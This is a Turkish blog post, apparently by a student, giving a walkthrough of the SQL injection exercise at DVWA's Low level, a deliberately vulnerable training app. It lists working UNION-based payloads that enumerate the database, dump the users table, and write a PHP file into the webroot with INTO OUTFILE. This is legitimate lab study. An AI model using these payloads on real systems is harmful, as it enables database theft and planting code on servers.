Yazıma başlamadan önce yeniden hatırlatmamda fayda var bu yaz Linux Yaz Kampında Web Uygulama Güvenliği ve Güvenli Kod Geliştirme kursuna katıldım.Orada öğrendiğim şeylerin bazılarını blogumdan paylaşmaya çalışıyorum.Başta Mehmet İnce ve Barkın Kılıç olmak üzere emeği geçen tüm hocalarımıza yeniden teşekkür ederim.Daha önceki yazımda DVWA nedir ve nasıl kurulur anlatmıştım.Bu yazımda ise DVWA ın SQL Injection bölümünün Low leveline ait kendi cevaplarımı buradan paylaşacağım.Bir önceki yazıya buradan ulaşıp DVWA sistemini kurabilirsiniz.
Cevaplara geçmeden önce levelinizin LOW olduğundan emin olunuz.
SQL Injection Tespiti
İlk olarak
[php] 1′ or ‘1’=’1 [/php]
denemesi ile SQL Injection tespiti yapıyoruz ve sorguların tek tırnak ile olduğunu
görüyoruz.
Veritabanındaki Kolon Sayısının Tespiti
[php] 1′ UNION SELECT 1,2 # [/php]
sorgusu ile veritabanında iki kolon olduğunu gördük.
Veritabanının Versiyon Bilgisi
[php]1′ UNION SELECT version(),2 # [/php]
sorgusu ilede versiyon bilgisini elde edebiliriz.
Veritabanının İsim Bilgisi
[php] 1′ UNION SELECT database(),2 # [/php]
sorgusu ilede database ismine ulaşabiliriz.
Veritabanındaki Tabloların Belirlenmesi
[php] 1′ UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema = ‘dvwa’ # [/php]
sorgusu ile daha önce bulduğumuz dvwa database ine ait tabloların isimlerine ulaşabiliriz.
Buradaki çıktıda dvwa veritabanında guestbook ve users olmak üzere iki adet tablo olduğunu gördük.
Tabloların Kolonlarının Belirlenmesi
[php] 1′ UNION SELECT column_name,2 FROM information_schema.columns WHERE table_schema=’dvwa’ AND table_name=’users’ # [/php]
sorgusu ile dvwa veritabanının users tablosunun kolonlarına ulaşabiliriz.
Bu çıktıda ise dediğimiz gibi dvwa veritabanının users tablosunun user_id,first_name,last_name,user,password,avatar adlı kolonlarının olduğunu görmüş olduk.
Tablolardaki Verileri Ekrana Yazdırma
[php] 1′ UNION SELECT first_name,last_name FROM users # [/php]
sorgusu ilede dvwa veritabanındaki users tablosundan first_name ve last_name verilerini çektik.
SORGU İLE DOSYA EKLEME
[php] 1′ UNION SELECT ‘<?php echo "ahmet gurel";’,’?>’ INTO OUTFILE ‘/var/www/html/dvwa/ahmet.php’ # [/php]
sorgusu ile ahmet.php dosyası oluşturup içine küçük bir php kodu ekledik.Buraya daha farklı kodlar ve sayfalar oluşturabiliriz.
Sorgumuz çalıştı ve ahmet.php dosyası oluştu.Bu dosyaya 127.0.0.1/dvwa/ahmet.php adresine gittiğimde görüyorum.
Burada admin admin ahmet gurel yazıyor aslında biz php kodumuzda sadece ahmet gurel yazmıstık.Bunun nedeni UNION dan önceki 1′ çalıştığında ilk kullanıcıyı admin admin döndürüp koda eklemesinden kaynaklanıyor.
Birde bu dosya ekleme saldırısını yapmaya çalıştığında okuma ve yazma yetkiniz yok gibi bir hata alıyorsanız.Linuxta dvwa nın bulunduğu yere aşağıdaki resimdeki gibi okuma ve yazma izni vererek bu saldırı metodunu deneyebilirsiniz.
Gördüğünüz gibi SQL Injection açığı bulunan bir sistemde veritabanı isminden,tablo isimlerine,tabloların kolon isimlerine,kullanıcı adlarına,şifrelerine gibi tüm veritabanı bilgilerini çektik ve kendimiz dosya oluşturup içine kendi kodumuzu çalıştırdık.SQL Injection saldırısının ne kadar tehlikeli olabileceğinin yanında nasıl yapıldığını neler yapabileceğimizi birlikte bu sistem üzerinde manuel olarak inceledik.SQL bilgimiz ne kadar iyiyse o kadar fazla saldırı metodu oluşturup çok daha farklı şeyler yapmak bizim elimizde.Tabiki SQL Injection dendiğinde çoğu kişi bunu manuel değilde SQL MAP ile yapmakta.Burdaki sistemde kendinizi geliştirip mantığını anladıktan sonra SQL MAP i öğrenip kullanmanızı tavsiye ederim.Bunun dışında işinize web açıklarını ararken,test ederken Firefox ve Chrome üzerinde bir çok eklenti bulunmakta.Pentesterlar için Firefox eklentileri adlı yazıya buradan ulaşıp inceleyebilirsiniz.Bir başka yazıda görüşmek üzere…
Leave a Reply